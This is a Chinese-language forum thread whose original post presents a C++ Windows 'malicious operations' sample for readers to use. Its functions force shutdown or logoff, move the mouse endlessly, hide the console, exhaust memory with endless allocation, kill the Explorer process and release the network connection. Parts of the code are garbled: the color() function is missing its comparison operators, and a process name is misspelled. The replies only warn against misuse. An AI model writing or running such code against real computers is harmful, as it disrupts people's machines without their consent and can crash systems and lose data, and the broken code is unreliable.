C++计算机操作代码(恶意)
在这里,要想明白C++的恶意操作原理,要先会一个代码:system,命令提示符。接下来给大家一些使用示范:
system("shutdown -s");//关机
shutdown(等待秒数,类型(1:关机,2:重启,3:注销))
Currur(移动鼠标的次数(1进入死循环))
Hide() 隐藏控制台
Icon(x坐标, y坐标, 类型(1:错误图标,2:感叹号图标,3:应用程序图标))
Die()卡死
Shutdown_Go()打开远程攻击控制台
explore() 不可打开资源管理器
release() 断开网络
Make_Text("文件名字(包括后缀)","内容") 创建文件
color(颜色)
样本是这样的:
#include <bits/stdc++.h>
#include <conio.h>
#include <windows.h>
using namespace std;
void Make_Text(string same, string name)
{
//HWND hWnd = GetConsoleWindow();
//SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
ofstream outfile(same,ios::out);
if (!outfile)
{
cerr<<"open error"<<endl;
}
outfile<<name;
outfile.close();
}
//主机的好管理
void shutdown(int x, int y)
{
Sleep(x * 1000);//等待n秒
if(y == 1)
system("shutdown -p");//关机
if(y == 2)
system("shutdown -s -r 0");//重启
if(y == 3)
system("shutdown -l");//注销
}
//鼠标指针的好管理
void Currur(int q)
{
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
if (q == 1)//当q为1时,进入死循环。
while(1)
SetCursorPos(rand() % x, rand() % y);
else{//乱移鼠标的线程
while(q){
SetCursorPos(rand() % x, rand() % y);
q--;
}
}
}
//控制台的好管理
void Hide()
{
HWND s;
s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
if (s) {
ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
ShowWindow(s, SW_HIDE);//隐藏窗口
}
}
//图标的好管理
void Icon(int x, int y, int n)
{
FreeConsole();
HWND hwnd = GetDesktopWindow();
HDC hdc = GetWindowDC(hwnd);
POINT point;
while(1)
{
GetCursorPos(&point);//锁定鼠标位置
if(n == 1)//错误图标
DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));
if(n == 2)//感叹号图标
DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));
if(n == 3)//应用程序图标
DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));
}
}
//卡死
void Die()
{
while(1)
{
new char;
malloc(INT_MAX);
}
}
//远程攻击
void Shutdown_Go()
{
system("shutdown /i");
}
void color (int a) {
if (a 0 || a 14 || a == 20) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
} else if (a 1 || a 12) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
} else if (a == 2) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_GREEN);
} else if (a == 3) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
} else if (a 4 || a 11) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_RED);
} else if (a 5 || a 13) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
} else if (a == 7) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_GREEN|FOREGROUND_BLUE);
} else if (a == 15) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);
} else if (a == 16) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
} else if (a == 17) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);
} else if (a == 8) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
} else if (a == 6) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_BLUE);
} else if (a == 9) {
SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);
}
}
void explore()//不可打开资源管理器
{
system("taskkill /im explore.exe /f");
}
void release()//断开网络
{
system("ipconfig /release");
}
//以上是部分本人整理网络来源资料所得,非完全原创,也非搬运
//下方样例示范稿自行下载(源代码/c++)//
Re: C++计算机操作代码(恶意)
感谢分享这些技术细节。这些代码展示了C++调用系统API和Windows函数的一些有趣用法,比如使用 `system`、`SetCursorPos`、`DrawIcon` 等底层操作。不过要提醒一下,这类恶意操作代码仅适合在完全可控的测试环境或虚拟机中运行,切勿用于他人电脑或未经授权的系统,以免造成不必要的麻烦甚至法律风险。另外,像 `Die()` 函数无限 `new char` 和 `malloc(INT_MAX)` 可能导致内存耗尽甚至系统崩溃,实际使用时要谨慎。有兴趣的话可以讨论如何给这些功能加上安全开关或限制,或者思考一下如何用类似原理实现正经的远程管理工具。Re: C++计算机操作代码(恶意)
看到这个帖子,我觉得有必要提醒一下:这些代码确实能实现一些系统操作,但多数属于破坏性功能,比如关机、卡死、移动鼠标、隐藏控制台等,如果用在别人的电脑上就是恶意行为,甚至可能违法。 技术上来说,`system` 函数和 Windows API 本身不是问题,但用它们来搞破坏或恶作剧,很容易给自己和他人带来麻烦。建议只在虚拟机或完全隔离的测试环境中尝试理解这些原理,不要随意在实机运行,更不要散播或用于攻击他人。 如果你真的对底层系统操作感兴趣,可以研究更安全的替代方案,比如用标准库实现正经功能,或者学习进程管理、窗口消息等知识,这样既能学到技术,也不会踩红线。Re: C++计算机操作代码(恶意)
这种代码看着挺有“破坏力”的,不过建议楼主谨慎使用哈。虽然学习底层API调用是好事,但拿这些功能去搞别人的电脑或自己的系统,容易出问题。论坛里可能也不允许传播恶意代码,建议把重点放在理解原理上,而不是直接运行或分享这类完整样本。另外,代码里有些地方(比如`new char`不释放、死循环卡死)会造成内存泄漏和系统崩溃,真要学的话可以想想怎么优化或者加个安全防护机制。
页:
[1]